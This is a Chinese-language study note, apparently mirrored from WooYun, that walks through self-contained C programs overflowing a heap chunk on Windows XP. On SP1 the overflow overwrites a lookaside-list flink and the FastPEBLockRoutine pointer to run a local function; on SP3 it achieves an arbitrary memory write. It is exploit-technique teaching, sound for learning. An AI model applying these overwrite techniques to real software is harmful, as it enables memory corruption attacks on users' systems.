堆溢位學習筆記

wyzsk發表於2020-08-19
作者: lxj616 · 2014/05/02 14:48

0x00 概述


本文從程式例項出發,展示了XP SP1下的堆溢位+程式碼執行,XP SP3下的堆溢位+記憶體任意寫,主要面向{已經掌握緩衝區溢位原理,希望進一步瞭解堆溢位原理的初學者}、{就是想找個堆溢位例子跑一遍的安全愛好者}以及{跑不通各種堆溢位書籍示例程式碼、非得跑通程式碼才看的進去書的搜尋者}

本筆記參考自:http://net-ninja.net/article/2011/Sep/03/heap-overflows-for-humans-102/

程式碼有較多改動,終於跑通了,並且試著簡單地利用了一下。

按照程式碼閱讀者視角 整理了講解思路。

筆記只供初學者參考,並非嚴肅探討堆溢位細節問題,若有不當之處懇請各位指正。

0x01 測試程式碼環境


虛擬機器:  VirtualBox
作業系統:  Windows XP  sp1
編譯器:   VC++ 6.0
除錯工具:  看雪OllyICE

其中,Windows XP 只能是sp1,因為sp2之後需要繞過其溢位保護機制 會使文章更加複雜。

如果您想要尋找xp sp3 下的記憶體任意寫例項,請跳轉0x09。

0x02 測試程式碼步驟


安裝Windows XP sp1 注意,網上有很多sp2 不知什麼目的寫成是sp1,下面是真正的sp1 http://pan.baidu.com/share/link?shareid=371613660&uk=1865555701&fid=2361791550

下載VC++ 6.0 綠色版 http://pan.baidu.com/s/1kTLqYnd 解壓後執行sin.bat

下載程式碼工程 http://pan.baidu.com/s/1kT5HRNp

或者複製文中程式碼 自己新建工程

#!cpp
/*
        Overwriting a chunk on the lookaside example
*/
#include <stdio.h>
#include <windows.h>

void print()
{
    printf("\nHello\n");
}

int main(int argc,char *argv[])
{
        char *a,*b,*c;
        long *hHeap;
        char buf[10];

        printf("----------------------------\n");
        printf("Overwrite a chunk on the lookaside\n");
        printf("Heap demonstration\n");
        printf("----------------------------\n");

        // create the heap
        hHeap = HeapCreate(0x00040000,0,0);
        printf("\n(+) Creating a heap at: 0x00%xh\n",hHeap);
        printf("(+) Allocating chunk A\n");

        // allocate the first chunk of size N (<0x3F8 bytes)
        a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
        printf("(+) Allocating chunk B\n");

        // allocate the second chunk of size N (<0x3F8 bytes)
        b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);

        printf("(+) Chunk A=0x00%x\n(+) Chunk B=0x00%x\n",a,b);
        printf("(+) Freeing chunk B to the lookaside\n");

        // Freeing of chunk B: the chunk gets referenced to the lookaside list
        HeapFree(hHeap,0,b);

        // set software bp
        //__asm__("int $0x3");

        printf("(+) Now overflow chunk A:\n");

        // The overflow occurs in chunk A: we can manipulate chunk B's Flink
        // PEB lock routine for testing purposes
        // 16 bytes for size, 8 bytes for header and 4 bytes for the flink

        strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f");
        // strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBBDDDD");

        //gets(a);

        // set software bp
        //__asm__("int $0x3");

        printf("(+) Allocating chunk B\n");

        // A chunk of block size N is allocated (C). Our fake pointer is returned
        // from the lookaside list.
        b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
        printf("(+) Allocating chunk C\n");

        // set software bp
        //    __asm__("int $0x3");

        // A second chunk of size N is allocated: our fake pointer is returned
        c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);

        printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c);

        // A copy operation from a controlled input to this buffer occurs: these
        // bytes are written to our chosen location
        // insert shellcode here

        printf("%x",print);
        memcpy(c,"\x00\x10\x40\x00",4);
        // set software bp
        //_asm int 0x3;

        exit(0);
 }

編譯執行,運氣好的直接就能跑,不過一般會如下圖:

enter image description here

顯示為:401005(0x00401005),然後修改程式碼中:

#!cpp
memcpy(c,"\x00\x10\x40\x00",4);

改成

#!cpp
memcpy(c,"\x05\x10\x40\x00",4);     

重新編譯執行即可,成功後如下圖:

enter image description here

然後就可以開始正文了。

0x03 溢位的位置


之前我們給a從堆裡分配了0x10即16個位元組的空間

#!cpp
a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);

因此

#!cpp
strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f");

發生了溢位。

0x04 溢位前發生了什麼


#!cpp
HeapFree(hHeap,0,b);

把b free掉,然後b就會被放到lookaside list備用。

0x05 溢位後覆蓋了什麼


覆蓋了b的freelist chunk結構。

(AAAABBBB覆蓋了Headers,然後\x20\xf0\xfd\x7f覆蓋的是flink)

enter image description here

0x06 溢位後發生了什麼


#!cpp
 printf("(+) Allocating chunk B\n");

// A chunk of block size N is allocated (C). Our fake pointer is returned
// from the lookaside list.
 b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
 printf("(+) Allocating chunk C\n");

// set software bp
//    __asm__("int $0x3");

// A second chunk of size N is allocated: our fake pointer is returned
c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);

printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c);

先是從lookaside取回b (flink已經被覆蓋了),然後再去分配c ,於是c被分配到了b的flink即我們的虛假指標處,之後就可以實現記憶體任意寫了(寫進c的內容就是寫進虛假指標)

0x07 虛假指標指向什麼地方


0x7FFDF000 指向 FastPEBLockRoutine() 地址指標 (XP SP1) 我們覆蓋這個地址,這樣一旦觸發異常,就會去call 這個地址。

然後我們把print函式地址寫進去,於是就會去執行print函式(顯示Hello,Hello上面列印的是print函式的地址)

0x08 為什麼非要XP SP1才能執行以上程式碼


因為SP1裡面FastPEBLockRoutine()的地址是固定的,而SP2以後版本會隨機

0x09 我就是要在XP SP3下跑程式碼,我不想下載SP1


那就用如下程式碼吧,不過就沒法FastPEBLockRoutine()隨意call 了

#!cpp
/*
        Overwriting a chunk on the lookaside example
*/
#include <stdio.h>
#include <windows.h>

int main(int argc,char *argv[])
{
        char str[]="\nHello123456789213456789\n";


        char *a,*b,*c;
        long *hHeap;
        char buf[10];

        printf("----------------------------\n");
        printf("Overwrite a chunk on the lookaside\n");
        printf("Heap demonstration\n");
        printf("----------------------------\n");

        // create the heap
        hHeap = HeapCreate(0x00040000,0,0);
        printf("\n(+) Creating a heap at: 0x00%xh\n",hHeap);
        printf("(+) Allocating chunk A\n");

        // allocate the first chunk of size N (<0x3F8 bytes)
        a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
        printf("(+) Allocating chunk B\n");

        // allocate the second chunk of size N (<0x3F8 bytes)
        b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);

        printf("(+) Chunk A=0x00%x\n(+) Chunk B=0x00%x\n",a,b);
        printf("(+) Freeing chunk B to the lookaside\n");

        // Freeing of chunk B: the chunk gets referenced to the lookaside list
        HeapFree(hHeap,0,b);

        // set software bp
        //__asm__("int $0x3");

        printf("(+) Now overflow chunk A:\n");

        // The overflow occurs in chunk A: we can manipulate chunk B's Flink
        // PEB lock routine for testing purposes
        // 16 bytes for size, 8 bytes for header and 4 bytes for the flink

        printf("%x\n",str);
        printf(str);
        memcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x64\xff\x12\x00",28);
        // strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBBDDDD");0x71ac4050

        //gets(a);

        // set software bp
        //__asm__("int $0x3");

        printf("(+) Allocating chunk B\n");

        // A chunk of block size N is allocated (C). Our fake pointer is returned
        // from the lookaside list.
        b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
        printf("(+) Allocating chunk C\n");

        // set software bp
        //    __asm__("int $0x3");

        // A second chunk of size N is allocated: our fake pointer is returned
        c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);

        printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c);

        // A copy operation from a controlled input to this buffer occurs: these
        // bytes are written to our chosen location
        // insert shellcode here
        strcpy(c,"AAAAAAAAAAAA\n");
        printf(str);
        // set software bp
        //_asm int 0x3;

        exit(0);
 }

也許一遍就能跑通,但是一般來說還是像下面一樣

enter image description here

老規矩,自己改程式碼(圖中12ff64)0x0012ff64

#!cpp
memcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x64\xff\x12\x00",28);

注意裡面有\x00,所以我換用memcpy了,成功後如下圖

enter image description here

那麼,這段程式碼展示的實際上是記憶體任意寫(沒有call anycode的利用),只是把任意內容寫到了str裡面,即free(b),再用str地址覆蓋b的flink,然後取回b,然後分配c,c被分配到了str地址,然後向c裡面寫AAAAAAA,然後就寫進str裡面了。

0x0A 結語


個人觀點:儘管看到這裡讀者仍然只是似懂非懂地{大致瞭解堆溢位的原理和過程},但是起碼有了一個基本的概念,對以後深入研究其機理 奠定了興趣基礎,並且對於{只是好奇的愛好者}來說,涉獵這些也就夠了。

建議有興趣的朋友們去看看heap-overflows-for-humans-102 原文,裡面有很多基礎概念的講解,本筆記僅為學習時的記錄,並非嚴肅翻譯原文。

0x0B reference


http://net-ninja.net/article/2011/Sep/03/heap-overflows-for-humans-102/

注:本文程式碼基於此文章修改,改動較大。

《C和C++安全編碼》

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章